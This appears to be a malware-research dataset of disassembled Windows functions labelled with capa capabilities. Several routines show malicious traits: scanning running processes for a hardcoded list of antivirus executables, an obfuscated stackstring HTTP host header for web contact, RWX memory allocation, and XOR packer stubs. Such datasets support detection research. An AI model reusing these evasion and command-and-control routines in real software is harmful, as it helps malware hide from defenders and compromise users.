joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006f40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, ecx
push esi
mov esi, dword [ebp + 8]
push edi
cmp dword [ebx + 0x80], 0
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatW]
je 0x10006f7c
push dword [ebx + 0x88]
push esi
call edi
push 0x1000ff50
push esi
call edi
push dword [ebx + 0x84]
push esi
call edi
push 0x1000ff54
push esi
call edi
cmp dword [ebx], 0
je 0x10006f9d
push dword [ebx + 4]
push esi
call edi
push 0x1000ff50
push esi
call edi
push dword [ebx + 8]
push esi
call edi
push 0x1000ff54
push esi
call edi
cmp dword [ebx + 0xc], 0
je 0x10006fbf
push dword [ebx + 0x10]
push esi
call edi
push 0x1000ff50
push esi
call edi
push dword [ebx + 0x14]
push esi
call edi
push 0x1000ff54
push esi
call edi
cmp dword [ebx + 0x18], 0
je 0x10006fe1
push dword [ebx + 0x1c]
push esi
call edi
push 0x1000ff50
push esi
call edi
push dword [ebx + 0x20]
push esi
call edi
push 0x1000ff54
push esi
call edi
cmp dword [ebx + 0x24], 0
je 0x10007003
push dword [ebx + 0x28]
push esi
call edi
push 0x1000ff50
push esi
call edi
push dword [ebx + 0x2c]
push esi
call edi
push 0x1000ff54
push esi
call edi
cmp dword [ebx + 0x30], 0
je 0x10007025
push dword [ebx + 0x34]
push esi
call edi
push 0x1000ff50
push esi
call edi
push dword [ebx + 0x38]
push esi
call edi
push 0x1000ff54
push esi
call edi
cmp dword [ebx + 0x3c], 0
je 0x10007047
push dword [ebx + 0x40]
push esi
call edi
push 0x1000ff50
push esi
call edi
push dword [ebx + 0x44]
push esi
call edi
push 0x1000ff54
push esi
call edi
cmp dword [ebx + 0x48], 0
je 0x10007069
push dword [ebx + 0x4c]
push esi
call edi
push 0x1000ff50
push esi
call edi
push dword [ebx + 0x50]
push esi
call edi
push 0x1000ff54
push esi
call edi
cmp dword [ebx + 0x54], 0
je 0x1000708b
push dword [ebx + 0x58]
push esi
call edi
push 0x1000ff50
push esi
call edi
push dword [ebx + 0x5c]
push esi
call edi
push 0x1000ff54
push esi
call edi
cmp dword [ebx + 0x60], 0
je 0x100070fc
push 0x40
push 0x3000
push 0x42
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov ecx, dword [ebx + 0x6c]
mov dword [ebp + 8], eax
test ecx, ecx
je 0x100070c1
push dword [ebx + 0x70]
push ecx
push 0x1000ff58
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
jmp 0x100070d0
push str.undefined
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push dword [ebx + 0x64]
push esi
call edi
push 0x1000ff50
push esi
call edi
push dword [ebp + 8]
push esi
call edi
push 0x1000ff54
push esi
call edi
push 0x8000
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
cmp dword [ebx + 0x74], 0
je 0x1000711e
push dword [ebx + 0x78]
push esi
call edi
push 0x1000ff50
push esi
call edi
push dword [ebx + 0x7c]
push esi
call edi
push 0x1000ff54
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
xor ecx, ecx
pop edi
mov word [esi + eax*2 - 2], cx
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x100072b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor esi, esi
test eax, eax
jne 0x1000731e
mov eax, dword [ebp + 0x18]
mov dword [ebp + 0xc], eax
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x14]
push esi
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10007306
push dword [ebp - 4]
lea esi, [eax + 1]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x18
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x18
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x18
Function at 0x10007a10
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
push edi
push 4
push 0x3000
push 0x400
push 0
call esi
mov ebx, dword [ebp + 8]
push 4
push 0x3000
push 4
push 0
mov dword [ebx], eax
mov dword [ebp - 0x4c], str.AVP.EXE
mov dword [ebp - 0x48], str.ekrn.exe
mov dword [ebp - 0x44], str.avgnt.exe
mov dword [ebp - 0x40], str.ashDisp.exe
mov dword [ebp - 0x3c], str.NortonAntiBot.exe
mov dword [ebp - 0x38], str.Mcshield.exe
mov dword [ebp - 0x34], str.avengine.exe
mov dword [ebp - 0x30], str.cmdagent.exe
mov dword [ebp - 0x2c], str.smc.exe
mov dword [ebp - 0x28], str.persfw.exe
mov dword [ebp - 0x24], str.pccpfw.exe
mov dword [ebp - 0x20], str.fsguiexe.exe
mov dword [ebp - 0x1c], str.cfp.exe
mov dword [ebp - 0x18], str.msmpeng.exe
call esi
mov edi, eax
mov dword [ebp - 0x14], edi
test edi, edi
je 0x10007ad2
push 0
push 2
mov dword [edi], 0x22c
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0x10007add
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
xor ecx, ecx
xor esi, esi
push edi
push eax
mov dword [ebp - 8], ecx
mov dword [ebp + 8], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.DLL_Process32FirstW]
test eax, eax
je 0x10007bcd
lea ecx, [ecx]
test esi, esi
jne 0x10007ba7
add edi, 0x24
jmp 0x10007b10
push edi
push dword [ebp + esi*4 - 0x4c]
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
je 0x10007b2a
inc esi
cmp esi, 0xe
jb 0x10007b10
mov esi, dword [ebp - 4]
jmp 0x10007b87
cmp dword [ebp + 8], 0
push edi
push dword [ebx]
mov dword [ebp - 0xc], 1
jne 0x10007b4f
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push 0x10010330
push dword [ebx]
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
jmp 0x10007b60
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatW]
call esi
push 0x10010330
push dword [ebx]
call esi
inc dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
mov ecx, dword [ebp - 8]
mov esi, dword [ebp - 4]
lea ecx, [ecx + eax*2]
mov eax, 1
cmp ecx, 0x3c0
mov dword [ebp - 8], ecx
cmova esi, eax
mov dword [ebp - 4], esi
mov edi, dword [ebp - 0x14]
push edi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
je 0x10007ba7
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x12
jne 0x10007b00
cmp dword [ebp - 0xc], 0
je 0x10007bc5
mov eax, dword [ebx]
cmp word [eax], 0
je 0x10007bc5
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
mov ecx, dword [ebx]
xor edx, edx
mov word [ecx + eax*2 - 2], dx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualFree]
push 0x8000
push 0
push edi
call esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edi, dword [ebp - 0xc]
test edi, edi
jne 0x10007bf7
push 0x8000
push edi
push dword [ebx]
call esi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10007ef0
Capabilities:
Allocate or change rwx memory
Connect to http server
Contain obfuscated stackstrings
Execute shellcode via indirect call
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 4]
test eax, eax
je 0x10007f09
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, esi
call fcn.10007ce0
push 0
push 0
push 3
push 0
push 0
push 0x50
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.WININET.dll_InternetConnectW]
mov esi, eax
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esi
test esi, esi
jne 0x10007f41
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x2c
push 0x40
push 0x3000
push 0x2800
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
push dword [ebp + 0xc]
mov edi, eax
push 0x1000f41c
push edi
mov dword [ebp - 0x10], edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0x8404f700
push 0
push 0
push str.HTTP_1.1
push edi
push dword [ebp + 0x28]
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov edi, eax
test edi, edi
je 0x10008062
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0x6f0048
push eax
push edi
mov dword [ebp - 0x3c], 0x740073
mov dword [ebp - 0x38], 0x20003a
mov dword [ebp - 0x34], 0x6f006e
mov dword [ebp - 0x30], 0x6f006d
mov dword [ebp - 0x2c], 0x650072
mov dword [ebp - 0x28], 0x610072
mov dword [ebp - 0x24], 0x73006e
mov dword [ebp - 0x20], 0x6d006f
mov dword [ebp - 0x1c], 0x63002e
mov dword [ebp - 0x18], 0x69006f
mov dword [ebp - 0x14], 0x6e
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersW]
test eax, eax
je 0x10008062
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0x30]
push dword [ebp + 0x2c]
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x1000805c
mov ebx, dword [ebp + 0x1c]
lea eax, [ebp + 8]
mov esi, dword [ebp + 0x18]
dec ebx
push eax
push ebx
push esi
push edi
mov dword [ebp + 8], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x10008062
mov edi, edi
mov eax, dword [ebp + 8]
test eax, eax
je 0x10008062
mov byte [eax + esi], 0
lea eax, [ebp + 8]
push eax
push ebx
push esi
push edi
mov dword [ebp + 8], 0
mov dword [ebp - 8], 1
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x10008030
jmp 0x10008062
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push dword [ebp - 0xc]
call esi
push 0x8000
push 0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x2c
Function at 0x10008150
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
push 0xf0000000
push 1
xor ebx, ebx
mov dword [ebp - 8], ecx
push ebx
push ebx
lea eax, [ebp - 4]
mov edi, edx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x10008269
xor ecx, ecx
lea ecx, [ecx]
lea eax, [ecx + 0x61]
mov word [ebp + ecx*2 - 0x64], ax
inc ecx
cmp ecx, 0x1a
jb 0x10008180
push 0x40
push 0x3000
lea ebx, [edi + 1]
push ebx
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10008272
cmp edi, ebx
jae 0x10008272
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x2c], 0x70797243
push eax
mov dword [ebp - 0x28], 0x6e654774
mov dword [ebp - 0x24], 0x646e6152
mov word [ebp - 0x20], 0x6d6f
mov byte [ebp - 0x1e], 0
mov dword [ebp - 0x1c], 0x61766441
mov dword [ebp - 0x18], 0x32336970
mov dword [ebp - 0x14], 0x6c6c642e
mov byte [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
test eax, eax
jne 0x10008207
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
je 0x1000824e
lea ecx, [ebp - 0x2c]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x1000824e
push esi
push edi
push dword [ebp - 4]
call eax
test eax, eax
je 0x1000824e
xor ecx, ecx
test edi, edi
je 0x10008247
mov ebx, dword [ebp - 8]
mov dword [ebp - 0xc], 0x1a
movzx eax, byte [esi + ecx]
cdq
idiv dword [ebp - 0xc]
mov ax, word [ebp + edx*2 - 0x64]
mov word [ebx + ecx*2], ax
inc ecx
cmp ecx, edi
jb 0x10008231
mov ebx, 1
jmp 0x10008250
xor ebx, ebx
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100082a0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
push 0xf0000000
push 1
xor edi, edi
mov dword [ebp - 0xc], ecx
push edi
push edi
lea eax, [ebp - 4]
mov ebx, edx
push eax
mov dword [ebp - 8], ebx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x10008392
xor ecx, ecx
lea eax, [ecx + 0x61]
mov byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0x1a
jb 0x100082d0
push 0x40
push 0x3000
inc ebx
push ebx
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x1000839b
cmp dword [ebp - 8], ebx
jae 0x1000839b
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x2c], 0x70797243
push eax
mov dword [ebp - 0x28], 0x6e654774
mov dword [ebp - 0x24], 0x646e6152
mov word [ebp - 0x20], 0x6d6f
mov byte [ebp - 0x1e], 0
mov dword [ebp - 0x1c], 0x61766441
mov dword [ebp - 0x18], 0x32336970
mov dword [ebp - 0x14], 0x6c6c642e
mov byte [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
test eax, eax
jne 0x10008355
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
je 0x10008379
lea ecx, [ebp - 0x2c]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x10008379
push dword [ebp - 0xc]
push dword [ebp - 8]
push dword [ebp - 4]
call eax
test eax, eax
mov ecx, 1
cmovne edi, ecx
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x56a483
Capabilities:
Encode data using xor

Disassembly:
push eax
and eax, eax
jecxz 0x56a466
movsb byte es:[edi], byte [esi]
sbb byte gs:[ecx - 0x66369da3], dh
pop ds
sub ch, al
mov es, word [ecx + 0x54]
aad 0x64
lds ecx, [esi + 0x64d55441]
ret
xchg ebx, eax
or al, 0xc5
std
mov eax, dword [0xc8dafe40]
push edx
jae 0x56a48a
invalid
jns 0x56a427
add byte [ecx + 0x5d999f87], bl
das
fnstsw word [esi + 0x753f87f2]
xor al, 0xb3
loopne 0x56a418
mov cl, 0x63
or eax, 0x176eb177
mov cl, 0x6e
pop ss
mov cl, 0x6e
pop ss
jb 0x56a460
std
cwde
aaa
loopne 0x56a4cb
mov dword [0xaedf41fd], eax
cmp dword [ebp + 0x602dd171], 0x48
sbb cl, dh
dec ebp
sbb eax, 0x48d16a00
stc
push edi
invalid
lds esp, [ebx]
lcall 0xb606, 0x73d88d2c
mov eax, dword cs:[0x8d40511b]
invalid

Function at 0x600823
Capabilities:
Encode data using xor

Disassembly:
push ss
aas
aad 0x14
mov edx, 0x7896ca15
iretd
salc
xor ax, 0xe3b5
and esi, dword [edi]
insd dword es:[edi], dx
dec ebx
xlatb
adc byte [edx], dl
neg byte gs:[eax + 0x38d578f6]
shr byte [esi + edx*2], cl
mov al, byte [ebx + ebp*4 + 0x54]
mov al, 0x29
and eax, 0x28816a9
mov dl, 0x91
popal
jle 0x600883
or esp, esp
sti
inc ebp
stosb byte es:[edi], al
jnp 0x60080a
xor al, 0x6f
or edi, dword [ebx + edi + 0x52]
fiadd word [eax - 0x55]
arpl word [ecx], bp
jp 0x600850
sub edx, dword [ecx - 0x78]
dec edi
ja 0x600899
loope 0x6008c6
jmp 0x6008a2
add eax, 0x55bb5122
popal
sti
jnp 0x60088b
mov dl, 0xea
mov esi, 0x29cb2414
retf
loope 0x6008b4
loope 0x6008ed
push edi
mov ch, 0x5a
xchg dword [ecx + 0x48], eax
dec eax
jmp 0xb57a8d57
cmp dh, byte [ebp + 0x32]
cmp al, 0x4e
pop es
retf 0x7f3a
push esp
and eax, 0x6dd76225
or ecx, dword [edx - 0x65a0a26d]
hlt
adc dword [eax], esp
mov esi, ecx
mov al, 0xd1
lodsd eax, dword [esi]
les esi, [edi + 0x34d4543b]
mov ah, 0x3a
imul edi, edx, 0x37
adc al, 0x70
inc eax
sti
sub al, 0xe9
cmp ah, byte [esp + edx*8 - 0x7f]
mov ecx, 0x85f485ca
fst dword [esi + 0x5598860d]
in al, dx
cmp al, 0x4a
xor edi, dword [edx + ebx*2 + 0x62a824d]
dec edx
add al, 0x9b
jmp 0xc48dffd0
Function at 0x7c599d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x7cd398
cmp edx, dword [eax]
je 0x7c59bf
add eax, 8
inc ecx
cmp eax, 0x7cd428
jl 0x7c59b0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x7cd398]
jne 0x7c5aed
mov eax, dword [0xbcfcf4]
cmp eax, 1
je 0x7c5ac7
test eax, eax
jne 0x7c59f0
cmp dword [0x7cd2c4], 1
je 0x7c5ac7
cmp edx, 0xfc
je 0x7c5aed
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x7c5a27
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.007c6380
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.007c6810
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x7c5a6a
lea eax, [ebp - 0x1a4]
push eax
call fcn.007c6810
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x7ca7ac
push edi
call fcn.007c86e0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.007c6380
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.007c6390
lea eax, [ebp - 0xa0]
push 0x7ca78c
push eax
call fcn.007c6390
push dword [esi + 0x7cd39c]
lea eax, [ebp - 0xa0]
push eax
call fcn.007c6390
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.007c8654
add esp, 0x2c
pop edi
jmp 0x7c5aed
lea eax, [ebp + 8]
lea esi, [esi + 0x7cd39c]
push 0
push eax
push dword [esi]
call fcn.007c6810
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x405615
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40b6b0
cmp edx, dword [eax]
je 0x405637
add eax, 8
inc ecx
cmp eax, 0x40b740
jl 0x405628
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40b6b0]
jne 0x405765
mov eax, dword [0x40ba6c]
cmp eax, 1
je 0x40573f
test eax, eax
jne 0x405668
cmp dword [0x4095d4], 1
je 0x40573f
cmp edx, 0xfc
je 0x405765
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40569f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004032c0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004033b0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4056e2
lea eax, [ebp - 0x1a4]
push eax
call fcn.004033b0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x407608
push edi
call fcn.00406330
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004032c0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004032d0
lea eax, [ebp - 0xa0]
push 0x4075e8
push eax
call fcn.004032d0
push dword [esi + 0x40b6b4]
lea eax, [ebp - 0xa0]
push eax
call fcn.004032d0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004062a7
add esp, 0x2c
pop edi
jmp 0x405765
lea eax, [ebp + 8]
lea esi, [esi + 0x40b6b4]
push 0
push eax
push dword [esi]
call fcn.004033b0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x438ca6
Capabilities:
Encode data using xor

Disassembly:
push 0x438a14
mov edi, dword [esp]
add esp, 4
and ebx, eax
mov eax, 0x4cc0ce50
inc eax
call fcn.00438ce4
inc eax
or ebx, ebx
xor dword [edx], edi
add eax, 0x6531df00
inc edx
add ebx, eax
sub ebx, 0x65a895d0
cmp edx, ecx
jne fcn.00438ca6
or ebx, ebx
dec ebx
ret
Function at 0x401a40
Capabilities:
Write file on windows

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [ecx]
lea eax, [esp + 8]
push 0
push eax
mov eax, dword [esp + 0xc]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
ret 8

Function at 0x431006
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
call 0x43100c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x431030
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
popal
nop
jmp int.00401219
Function at 0x401d00
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x407048
call sym._EnterCriticalSection_4
mov ebx, dword [0x407040]
sub esp, 4
test ebx, ebx
je 0x401d4b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401d44
test esi, esi
je 0x401d44
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401d20
mov dword [esp], 0x407048
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401f30
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401f80
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402058
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x401fbe
cmp eax, 4
jne 0x401fe0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x401fce
cmp edx, 4
je 0x401fce
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401f30